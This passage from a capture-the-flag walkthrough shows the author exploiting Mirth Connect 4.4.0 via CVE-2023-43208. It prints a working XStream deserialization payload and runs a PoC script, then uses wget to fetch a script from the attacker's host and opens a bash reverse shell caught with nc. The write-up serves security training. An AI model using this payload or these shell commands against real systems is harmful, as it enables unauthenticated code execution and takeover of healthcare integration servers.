        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/httpclient-4.5.13.jar"</span> <span class="na">sha256=</span><span class="s">"G87KYCKVy/05s9g44w8cILxtugjhab6FyoM24Xcov9M="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/istack-commons-runtime-3.0.6.jar"</span> <span class="na">sha256=</span><span class="s">"r7Pdb2yYKzY3TR1m8Nq8nR52JTeX9WjlGYZWwvQQMrU="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hapi-structures-v24-2.3.jar"</span> <span class="na">sha256=</span><span class="s">"m6ulzJ/p9GGit/n3kid3O2VDZSSGdSgzltNd1UVGFuw="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/commons-lang-2.6.jar"</span> <span class="na">sha256=</span><span class="s">"NKmzkdAArMvPlzkusZAE3/wiKSk1XsdzJONkUQvG8dk="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/commons-beanutils-1.9.3.jar"</span> <span class="na">sha256=</span><span class="s">"rpgEMWYeRxs6wfLVCeOCrgm2CWo+QdSNPxLK05zWz9k="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/regions-2.15.28.jar"</span> <span class="na">sha256=</span><span class="s">"DO+3VI3z+GW/FSgxHWsjJ6ddn3FedIBCeRkdvjUSWc0="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hk2-utils-2.4.0-b31.jar"</span> <span class="na">sha256=</span><span class="s">"1dSEKIqf2Ocip0f+5elBZJxi6UnRoaLg5RsfdzNluTI="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/scriptfilestep.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/textviewer.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/dicomviewer.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/js.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/jdbc.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/mapper.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/directoryresource.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/datapruner.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/javascriptrule.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/datatype-xml.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/datatype-ncpdp.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/jms.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/datatype-json.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/xsltstep.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/file.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/scriptfilerule.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/messagebuilder.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/datatype-dicom.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/serverlog.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/datatype-hl7v3.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/datatype-hl7v2.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/ws.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/javascriptstep.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/dashboardstatus.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/datatype-raw.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/tcp.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/datatype-edi.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/smtp.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/globalmapviewer.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/httpauth.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/dicom.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/imageviewer.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/mllpmode.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/pdfviewer.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/destinationsetfilter.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/vm.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/http.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/doc.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/rulebuilder.jnlp"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;extension</span> <span class="na">href=</span><span class="s">"webstart/extensions/datatype-delimited.jnlp"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;/resources&gt;</span>


    <span class="nt">&lt;application-desc</span> <span class="na">main-class=</span><span class="s">"com.mirth.connect.client.ui.Mirth"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;argument&gt;</span>https://10.129.244.184:443<span class="nt">&lt;/argument&gt;</span>
        <span class="nt">&lt;argument&gt;</span>4.4.0<span class="nt">&lt;/argument&gt;</span>
    <span class="nt">&lt;/application-desc&gt;</span>

<span class="nt">&lt;/jnlp&gt;</span>
</code></pre></div></div>

<p>I’ll skip the directory brute force as this is open source software.</p>

<h3 id="hl7-v2-mllp---tcp-6661">HL7 v2 MLLP - TCP 6661</h3>

<p>Port 6661 doesn’t show anything interesting when hit with <code class="language-plaintext highlighter-rouge">nc</code> or <code class="language-plaintext highlighter-rouge">curl</code>.</p>

<p>It’s not needed to solve the box, but knowing that Mirth Connect is running suggests that 6661 is likely the HL7 v2 MLLP listener. Claude will give me a one liner to test this:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260527194334788.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260527194334788.png" alt="image-20260527194334788" class="include_image " />
</picture>

<p>When I run that, it generates a response:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>python3 <span class="nt">-c</span> <span class="s2">"import socket; s=socket.socket(); s.connect(('10.129.244.184',6661)); s.sendall(b'</span><span class="se">\x</span><span class="s2">0bMSH|^~</span><span class="se">\\</span><span class="s2">&amp;|TEST|TEST|MIRTH|MIRTH|20260527||ADT^A01|123|P|2.3</span><span class="se">\r\x</span><span class="s2">1c</span><span class="se">\r</span><span class="s2">'); print(s.recv(4096)); s.close()"</span>
<span class="go">&lt;string&gt;:1: SyntaxWarning: invalid escape sequence '\&amp;'
b'\x0bMSH|^~\\&amp;|MIRTH|MIRTH|TEST|TEST|20260527194151.620||ACK|20260527194151.620|P|2.3\rMSA|AA|123\r\x1c\r'
</span></code></pre></div></div>

<p>The ACK comes back framed in MLLP and the MSH header identifies the sending application as <code class="language-plaintext highlighter-rouge">MIRTH|MIRTH</code>. The HL7 listener is happily telling unauthenticated clients exactly what it is.</p>

<h2 id="shell-as-mirth">Shell as mirth</h2>

<h3 id="identify-cves">Identify CVE(s)</h3>

<p>Searching for “mirth connect 4.4.0 cve” shows references to a couple vulnerabilities:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522094747554.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522094747554.png" alt="image-20260522094747554" class="include_image " />
</picture>

<p>Both CVE-2023-43208 and CVE-2023-37679 are labeled as RCE vulnerabilities that could be interesting.</p>

<h3 id="cve-2023-37679--cve-2023-43208-background">CVE-2023-37679 / CVE-2023-43208 Background</h3>

<p>CVE-2023-37679 is a deserialization vulnerability patched by 4.4.0 with a deny-list to prevent an exploit from accessing known dangerous classes. However, it was incomplete, which allowed exploits to still get RCE, leading to CVE-2023-43208 and a proper fix in 4.4.1.</p>

<p>NIST describes <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-37679">CVE-2023-37679</a> as:</p>

<blockquote>
  <p>A remote command execution (RCE) vulnerability in NextGen Mirth Connect v4.3.0 allows attackers to execute arbitrary commands on the hosting server.</p>
</blockquote>

<p>It describes <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-43208">CVE-2023-43208</a> as:</p>

<blockquote>
  <p>NextGen Healthcare Mirth Connect before version 4.4.1 is vulnerable to unauthenticated remote code execution. Note that this vulnerability is caused by the incomplete patch of CVE-2023-37679.</p>
</blockquote>

<p>Horizon3.ai originally discovered these vulnerabilities, though their <a href="https://horizon3.ai/attack-research/disclosures/nextgen-mirth-connect-remote-code-execution/">announcement</a> doesn’t give much detail, but <a href="https://horizon3.ai/attack-research/disclosures/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/">this post</a> does. A Metasploit <a href="https://www.rapid7.com/db/modules/exploit/multi/http/mirth_connect_cve_2023_43208/">exploit module</a> was published in January 2024.</p>

<p>These are insecure deserialization vulnerabilities in the Mirth Connect API. The root cause is the <code class="language-plaintext highlighter-rouge">XmlMessageBodyReader</code> class, which uses the XStream library to unmarshal XML request bodies into Java objects. The API runs on Jersey (JAX-RS), and to build a method’s parameter object Jersey invokes this body reader before the method’s logic runs. Mirth checks authorization inside the resource method, not in a pre-matching filter, so the XML body is deserialized before the auth check is reached. The gadget chain therefore executes as a side effect of deserialization, ahead of any authentication. Public POCs target POST <code class="language-plaintext highlighter-rouge">/api/users</code> because it accepts an XML body that gets deserialized to construct the method parameter before the in-method auth check runs.</p>

<p>The 4.4.0 patch for CVE-2023-37679 tried to block this with an XStream denylist of known-dangerous classes. CVE-2023-43208 bypasses that denylist by using a different gadget chain built from classes that were not on the list (for example <code class="language-plaintext highlighter-rouge">InvokerTransformer</code> from Apache Commons Collections). Version 4.4.1 fixes it properly by dropping the denylist in favor of an explicit allowlist of safe classes.</p>

<h3 id="exploit">Exploit</h3>

<h4 id="manual-poc">Manual POC</h4>

<p>The <a href="https://horizon3.ai/attack-research/disclosures/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/">Horizon3.ai writeup</a> shows the various payloads they used all via the swagger API page. I’ll grab their payload from the very bottom of the post:</p>

<div class="language-xml code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;sorted-set&gt;</span>
  <span class="nt">&lt;string&gt;</span>abcd<span class="nt">&lt;/string&gt;</span>
  <span class="nt">&lt;dynamic-proxy&gt;</span>
    <span class="nt">&lt;interface&gt;</span>java.lang.Comparable<span class="nt">&lt;/interface&gt;</span>
    <span class="nt">&lt;handler</span> <span class="na">class=</span><span class="s">"org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;target</span> <span class="na">class=</span><span class="s">"org.apache.commons.collections4.functors.ChainedTransformer"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;iTransformers&gt;</span>
          <span class="nt">&lt;org.apache.commons.collections4.functors.ConstantTransformer&gt;</span>
            <span class="nt">&lt;iConstant</span> <span class="na">class=</span><span class="s">"java-class"</span><span class="nt">&gt;</span>java.lang.Runtime<span class="nt">&lt;/iConstant&gt;</span>
          <span class="nt">&lt;/org.apache.commons.collections4.functors.ConstantTransformer&gt;</span>
          <span class="nt">&lt;org.apache.commons.collections4.functors.InvokerTransformer&gt;</span>
            <span class="nt">&lt;iMethodName&gt;</span>getMethod<span class="nt">&lt;/iMethodName&gt;</span>
            <span class="nt">&lt;iParamTypes&gt;</span>
              <span class="nt">&lt;java-class&gt;</span>java.lang.String<span class="nt">&lt;/java-class&gt;</span>
              <span class="nt">&lt;java-class&gt;</span>[Ljava.lang.Class;<span class="nt">&lt;/java-class&gt;</span>
            <span class="nt">&lt;/iParamTypes&gt;</span>
            <span class="nt">&lt;iArgs&gt;</span>
              <span class="nt">&lt;string&gt;</span>getRuntime<span class="nt">&lt;/string&gt;</span>
              <span class="nt">&lt;java-class-array/&gt;</span>
            <span class="nt">&lt;/iArgs&gt;</span>
          <span class="nt">&lt;/org.apache.commons.collections4.functors.InvokerTransformer&gt;</span>
          <span class="nt">&lt;org.apache.commons.collections4.functors.InvokerTransformer&gt;</span>
            <span class="nt">&lt;iMethodName&gt;</span>invoke<span class="nt">&lt;/iMethodName&gt;</span>
            <span class="nt">&lt;iParamTypes&gt;</span>
              <span class="nt">&lt;java-class&gt;</span>java.lang.Object<span class="nt">&lt;/java-class&gt;</span>
              <span class="nt">&lt;java-class&gt;</span>[Ljava.lang.Object;<span class="nt">&lt;/java-class&gt;</span>
            <span class="nt">&lt;/iParamTypes&gt;</span>
            <span class="nt">&lt;iArgs&gt;</span>
              <span class="nt">&lt;null/&gt;</span>
              <span class="nt">&lt;object-array/&gt;</span>
            <span class="nt">&lt;/iArgs&gt;</span>
          <span class="nt">&lt;/org.apache.commons.collections4.functors.InvokerTransformer&gt;</span>
          <span class="nt">&lt;org.apache.commons.collections4.functors.InvokerTransformer&gt;</span>
            <span class="nt">&lt;iMethodName&gt;</span>exec<span class="nt">&lt;/iMethodName&gt;</span>
            <span class="nt">&lt;iParamTypes&gt;</span>
              <span class="nt">&lt;java-class&gt;</span>java.lang.String<span class="nt">&lt;/java-class&gt;</span>
            <span class="nt">&lt;/iParamTypes&gt;</span>
            <span class="nt">&lt;iArgs&gt;</span>
              <span class="nt">&lt;string&gt;</span><span class="err">&lt;</span><span class="nt">&lt;COMMAND&gt;</span>&gt;<span class="nt">&lt;/string&gt;</span>
            <span class="nt">&lt;/iArgs&gt;</span>
          <span class="nt">&lt;/org.apache.commons.collections4.functors.InvokerTransformer&gt;</span>
        <span class="nt">&lt;/iTransformers&gt;</span>
      <span class="nt">&lt;/target&gt;</span>
      <span class="nt">&lt;methodName&gt;</span>transform<span class="nt">&lt;/methodName&gt;</span>
      <span class="nt">&lt;eventTypes&gt;</span>
        <span class="nt">&lt;string&gt;</span>compareTo<span class="nt">&lt;/string&gt;</span>
      <span class="nt">&lt;/eventTypes&gt;</span>
    <span class="nt">&lt;/handler&gt;</span>
  <span class="nt">&lt;/dynamic-proxy&gt;</span>
<span class="nt">&lt;/sorted-set&gt;</span>
</code></pre></div></div>

<p>11 lines up from the bottom there’s a <code class="language-plaintext highlighter-rouge">&lt;string&gt;&lt;&lt;COMMAND&gt;&gt;&lt;/string&gt;</code>. I’ll replace <code class="language-plaintext highlighter-rouge">&lt;&lt;COMMAND&gt;&gt;</code> with a command and put it in the <code class="language-plaintext highlighter-rouge">/users</code> POST endpoint:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522102448723.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522102448723.png" alt="image-20260522102448723" class="include_image " />
</picture>

<p>When I run this, an ICMP packet arrives at my host:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>tcpdump <span class="nt">-ni</span> tun0 icmp
<span class="go">tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
14:12:48.357520 IP 10.129.244.184 &gt; 10.10.14.51: ICMP echo request, id 5114, seq 1, length 64
14:12:48.357546 IP 10.10.14.51 &gt; 10.129.244.184: ICMP echo reply, id 5114, seq 1, length 64
</span></code></pre></div></div>

<p>That’s RCE.</p>

<h4 id="script-poc">Script POC</h4>

<p>There’s a script at the bottom of the post with a Python script. I’ll run it:</p>

<div class="language-console code-collapse wrap highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run <span class="nt">--with</span> requests cve-2023-43208.py <span class="nt">-c</span> <span class="s1">'ping -c 1 10.10.14.51'</span> <span class="nt">-u</span> http://10.129.244.184
<span class="go">Installed 5 packages in 8ms
Sending payload:
&lt;sorted-set&gt;
  &lt;string&gt;abcd&lt;/string&gt;
  &lt;dynamic-proxy&gt;
    &lt;interface&gt;java.lang.Comparable&lt;/interface&gt;
    &lt;handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler"&gt;
      &lt;target class="org.apache.commons.collections4.functors.ChainedTransformer"&gt;
        &lt;iTransformers&gt;
          &lt;org.apache.commons.collections4.functors.ConstantTransformer&gt;
            &lt;iConstant class="java-class"&gt;java.lang.Runtime&lt;/iConstant&gt;
          &lt;/org.apache.commons.collections4.functors.ConstantTransformer&gt;
          &lt;org.apache.commons.collections4.functors.InvokerTransformer&gt;
            &lt;iMethodName&gt;getMethod&lt;/iMethodName&gt;
            &lt;iParamTypes&gt;
              &lt;java-class&gt;java.lang.String&lt;/java-class&gt;
              &lt;java-class&gt;[Ljava.lang.Class;&lt;/java-class&gt;
            &lt;/iParamTypes&gt;
            &lt;iArgs&gt;
              &lt;string&gt;getRuntime&lt;/string&gt;
              &lt;java-class-array/&gt;
            &lt;/iArgs&gt;
          &lt;/org.apache.commons.collections4.functors.InvokerTransformer&gt;
          &lt;org.apache.commons.collections4.functors.InvokerTransformer&gt;
            &lt;iMethodName&gt;invoke&lt;/iMethodName&gt;
            &lt;iParamTypes&gt;
              &lt;java-class&gt;java.lang.Object&lt;/java-class&gt;
              &lt;java-class&gt;[Ljava.lang.Object;&lt;/java-class&gt;
            &lt;/iParamTypes&gt;
            &lt;iArgs&gt;
              &lt;null/&gt;
              &lt;object-array/&gt;
            &lt;/iArgs&gt;
          &lt;/org.apache.commons.collections4.functors.InvokerTransformer&gt;
          &lt;org.apache.commons.collections4.functors.InvokerTransformer&gt;
            &lt;iMethodName&gt;exec&lt;/iMethodName&gt;
            &lt;iParamTypes&gt;
              &lt;java-class&gt;java.lang.String&lt;/java-class&gt;
            &lt;/iParamTypes&gt;
            &lt;iArgs&gt;
              &lt;string&gt;ping -c 1 10.10.14.51&lt;/string&gt;
            &lt;/iArgs&gt;
          &lt;/org.apache.commons.collections4.functors.InvokerTransformer&gt;
        &lt;/iTransformers&gt;
      &lt;/target&gt;
      &lt;methodName&gt;transform&lt;/methodName&gt;
      &lt;eventTypes&gt;
        &lt;string&gt;compareTo&lt;/string&gt;
      &lt;/eventTypes&gt;
    &lt;/handler&gt;
  &lt;/dynamic-proxy&gt;
&lt;/sorted-set&gt;

Payload sent. Received status code: 500
</span></code></pre></div></div>

<p>The ICMP comes again:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">14:26:33.679910 IP 10.129.244.184 &gt; 10.10.14.51: ICMP echo request, id 5122, seq 1, length 64
14:26:33.679937 IP 10.10.14.51 &gt; 10.129.244.184: ICMP echo reply, id 5122, seq 1, length 64
</span></code></pre></div></div>

<h4 id="shell">Shell</h4>

<p>Running commands with pipes or other redirects in Java-based RCEs almost always fails. I’ll use a two stage solution to get a shell. I’ll create a shell script with a <a href="https://www.youtube.com/watch?v=OjkVep2EIlw">bash reverse shell</a>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

bash <span class="nt">-i</span> <span class="o">&gt;</span>&amp; /dev/tcp/10.10.14.51/443 0&gt;&amp;1
</code></pre></div></div>

<p>I’ll use two RCE commands, first to fetch the script:</p>

<div class="language-console code-collapse wrap highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run <span class="nt">--with</span> requests cve-2023-43208.py <span class="nt">-c</span> <span class="s2">"wget 10.10.14.51/shell.sh"</span> <span class="nt">-u</span> https://10.129.244.184 
<span class="go">Sending payload:
&lt;sorted-set&gt;
  &lt;string&gt;abcd&lt;/string&gt;
  &lt;dynamic-proxy&gt;
    &lt;interface&gt;java.lang.Comparable&lt;/interface&gt;
    &lt;handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler"&gt;
      &lt;target class="org.apache.commons.collections4.functors.ChainedTransformer"&gt;
        &lt;iTransformers&gt;
          &lt;org.apache.commons.collections4.functors.ConstantTransformer&gt;
            &lt;iConstant class="java-class"&gt;java.lang.Runtime&lt;/iConstant&gt;
          &lt;/org.apache.commons.collections4.functors.ConstantTransformer&gt;
          &lt;org.apache.commons.collections4.functors.InvokerTransformer&gt;
            &lt;iMethodName&gt;getMethod&lt;/iMethodName&gt;
            &lt;iParamTypes&gt;
              &lt;java-class&gt;java.lang.String&lt;/java-class&gt;
              &lt;java-class&gt;[Ljava.lang.Class;&lt;/java-class&gt;
            &lt;/iParamTypes&gt;
            &lt;iArgs&gt;
              &lt;string&gt;getRuntime&lt;/string&gt;
              &lt;java-class-array/&gt;
            &lt;/iArgs&gt;
          &lt;/org.apache.commons.collections4.functors.InvokerTransformer&gt;
          &lt;org.apache.commons.collections4.functors.InvokerTransformer&gt;
            &lt;iMethodName&gt;invoke&lt;/iMethodName&gt;
            &lt;iParamTypes&gt;
              &lt;java-class&gt;java.lang.Object&lt;/java-class&gt;
              &lt;java-class&gt;[Ljava.lang.Object;&lt;/java-class&gt;
            &lt;/iParamTypes&gt;
            &lt;iArgs&gt;
              &lt;null/&gt;
              &lt;object-array/&gt;
            &lt;/iArgs&gt;
          &lt;/org.apache.commons.collections4.functors.InvokerTransformer&gt;
          &lt;org.apache.commons.collections4.functors.InvokerTransformer&gt;
            &lt;iMethodName&gt;exec&lt;/iMethodName&gt;
            &lt;iParamTypes&gt;
              &lt;java-class&gt;java.lang.String&lt;/java-class&gt;
            &lt;/iParamTypes&gt;
            &lt;iArgs&gt;
              &lt;string&gt;wget 10.10.14.51/shell.sh&lt;/string&gt;
            &lt;/iArgs&gt;
          &lt;/org.apache.commons.collections4.functors.InvokerTransformer&gt;
        &lt;/iTransformers&gt;
      &lt;/target&gt;
      &lt;methodName&gt;transform&lt;/methodName&gt;
      &lt;eventTypes&gt;
        &lt;string&gt;compareTo&lt;/string&gt;
      &lt;/eventTypes&gt;
    &lt;/handler&gt;
  &lt;/dynamic-proxy&gt;
&lt;/sorted-set&gt;

Payload sent. Received status code: 500
</span></code></pre></div></div>

<p>At my Python webserver there’s a fetch:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">10.129.244.184 - - [22/May/2026 10:31:09] "GET /shell.sh HTTP/1.1" 200 -
</span></code></pre></div></div>

<p>Then another to execute the reverse shell:</p>

<div class="language-console code-collapse wrap highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run <span class="nt">--with</span> requests cve-2023-43208.py <span class="nt">-c</span> <span class="s2">"bash shell.sh"</span> <span class="nt">-u</span> https://10.129.244.184
<span class="go">Sending payload:
&lt;sorted-set&gt;
  &lt;string&gt;abcd&lt;/string&gt;
  &lt;dynamic-proxy&gt;
    &lt;interface&gt;java.lang.Comparable&lt;/interface&gt;
    &lt;handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler"&gt;
      &lt;target class="org.apache.commons.collections4.functors.ChainedTransformer"&gt;
        &lt;iTransformers&gt;
          &lt;org.apache.commons.collections4.functors.ConstantTransformer&gt;
            &lt;iConstant class="java-class"&gt;java.lang.Runtime&lt;/iConstant&gt;
          &lt;/org.apache.commons.collections4.functors.ConstantTransformer&gt;
          &lt;org.apache.commons.collections4.functors.InvokerTransformer&gt;
            &lt;iMethodName&gt;getMethod&lt;/iMethodName&gt;
            &lt;iParamTypes&gt;
              &lt;java-class&gt;java.lang.String&lt;/java-class&gt;
              &lt;java-class&gt;[Ljava.lang.Class;&lt;/java-class&gt;
            &lt;/iParamTypes&gt;
            &lt;iArgs&gt;
              &lt;string&gt;getRuntime&lt;/string&gt;
              &lt;java-class-array/&gt;
            &lt;/iArgs&gt;
          &lt;/org.apache.commons.collections4.functors.InvokerTransformer&gt;
          &lt;org.apache.commons.collections4.functors.InvokerTransformer&gt;
            &lt;iMethodName&gt;invoke&lt;/iMethodName&gt;
            &lt;iParamTypes&gt;
              &lt;java-class&gt;java.lang.Object&lt;/java-class&gt;
              &lt;java-class&gt;[Ljava.lang.Object;&lt;/java-class&gt;
            &lt;/iParamTypes&gt;
            &lt;iArgs&gt;
              &lt;null/&gt;
              &lt;object-array/&gt;
            &lt;/iArgs&gt;
          &lt;/org.apache.commons.collections4.functors.InvokerTransformer&gt;
          &lt;org.apache.commons.collections4.functors.InvokerTransformer&gt;
            &lt;iMethodName&gt;exec&lt;/iMethodName&gt;
            &lt;iParamTypes&gt;
              &lt;java-class&gt;java.lang.String&lt;/java-class&gt;
            &lt;/iParamTypes&gt;
            &lt;iArgs&gt;
              &lt;string&gt;bash shell.sh&lt;/string&gt;
            &lt;/iArgs&gt;
          &lt;/org.apache.commons.collections4.functors.InvokerTransformer&gt;
        &lt;/iTransformers&gt;
      &lt;/target&gt;
      &lt;methodName&gt;transform&lt;/methodName&gt;
      &lt;eventTypes&gt;
        &lt;string&gt;compareTo&lt;/string&gt;
      &lt;/eventTypes&gt;
    &lt;/handler&gt;
  &lt;/dynamic-proxy&gt;
&lt;/sorted-set&gt;

Payload sent. Received status code: 500
</span></code></pre></div></div>

<p>This time there’s a connection at <code class="language-plaintext highlighter-rouge">nc</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.244.184 43630
bash: cannot set terminal process group (3578): Inappropriate ioctl for device
bash: no job control in this shell
</span><span class="gp">mirth@interpreter:/usr/local/mirthconnect$</span><span class="w">
</span></code></pre></div></div>

<p>I’ll upgrade my shell using the <a href="https://www.youtube.com/watch?v=DqE6DxqJg8Q">standard trick</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mirth@interpreter:/usr/local/mirthconnect$</span><span class="w"> </span>script /dev/null <span class="nt">-c</span> bash
<span class="go">script /dev/null -c bash
Script started, output log file is '/dev/null'.
</span><span class="gp">mirth@interpreter:/usr/local/mirthconnect$</span><span class="w"> </span>^Z
<span class="go">[1]+  Stopped                 nc -lnvp 443
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span> <span class="nb">fg</span>
<span class="go">nc -lnvp 443
</span><span class="gp">            ‍</span>reset
<span class="go">reset: unknown terminal type unknown
